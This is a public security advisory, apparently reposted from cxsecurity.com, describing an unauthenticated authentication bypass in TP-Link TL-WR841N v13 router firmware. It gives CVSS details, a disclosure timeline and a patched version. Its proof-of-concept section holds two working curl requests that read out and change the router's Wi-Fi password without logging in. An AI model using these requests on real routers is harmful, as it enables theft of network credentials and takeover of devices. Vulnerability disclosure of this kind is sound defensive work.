TP-Link TL-WR841N V13 Insecure Direct Object Reference

2018.06.29
Credit: Tim Coen
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

* Vulnerability: Broken Authentication * Affected Software: TP-Link TL-WR841N v13 * Affected Version: 0.9.1 4.16 v0001.0 Build 171019 Rel.55346n * Patched Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n * Risk: High * Vendor Contacted: 05/20/2018 * Vendor Fix: Issue was independently fixed in previous version * Public Disclosure: 06/27/2018 ##### Overview An attacker that can send HTTP requests to the router can bypass the authentication mechanism of the web interface and thus perform arbitrary actions. ##### CVSS High 8.8 CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ##### Details An unauthenticated attacker can send arbitrary requests to CGI scripts, which allows them to perform all actions an authenticated user could perform, as well as read out all information that an authenticated user can read out. With default configuration, the attacker has to be in the same local network as the router. The issue exists because while the frontend of the web interface has a basic authentication mechanism, requests to the CGI scripts fail to validate the authentication cookie. ##### POC Read out Wifi password: curl -i -s -k -X $'POST' -H $'Host: 192.168.0.1' -H $'Referer: http://192.168.0.1/' -H $'Content-Type: text/plain' -H $'Content-Length: 404' -H $'Connection: close' --data-binary $'[LAN_WLAN#0,0,0,0,0,0#0,0,0,0,0,0]0,19\x0d\x0aname\x0d\x0aSSID\x0d\x0aEnable\x0d\x0aX_TP_Configuration_Modified\x0d\x0abeaconType\x0d\x0aStandard\x0d\x0aWEPEncryptionLevel\x0d\x0aWEPKeyIndex\x0d\x0aBasicEncryptionModes\x0d\x0aBasicAuthenticationMode\x0d\x0aWPAEncryptionModes\x0d\x0aWPAAuthenticationMode\x0d\x0aIEEE11iEncryptionModes\x0d\x0aIEEE11iAuthenticationMode\x0d\x0aX_TP_PreSharedKey\x0d\x0aX_TP_GroupKeyUpdateInterval\x0d\x0aX_TP_RadiusServerIP\x0d\x0aX_TP_RadiusServerPort\x0d\x0aX_TP_RadiusServerPassword\x0d\x0a' $'http://192.168.0.1/cgi?5' Change Wifi password: curl -i -s -k -X $'POST' -H $'Host: 192.168.0.1' -H $'Referer: http://192.168.0.1/mainFrame.htm' -H $'Content-Length: 197' -H $'Connection: close' --data-binary $'[LAN_WLAN#1,1,0,0,0,0#0,0,0,0,0,0]0,5\x0d\x0aBeaconType=11i\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=AESEncryption\x0d\x0aX_TP_PreSharedKey=12345678\x0d\x0aX_TP_GroupKeyUpdateInterval=0\x0d\x0a' $'http://192.168.0.1/cgi?2' ##### Solution The issue was already fixed independently of this report in the newest version of the firmware: TL-WR841N(EU)_V13_180119: https://www.tp-link.com/uk/download/TL-WR841N.html#Firmware -- PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0xFD8E2B9091A24C75


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top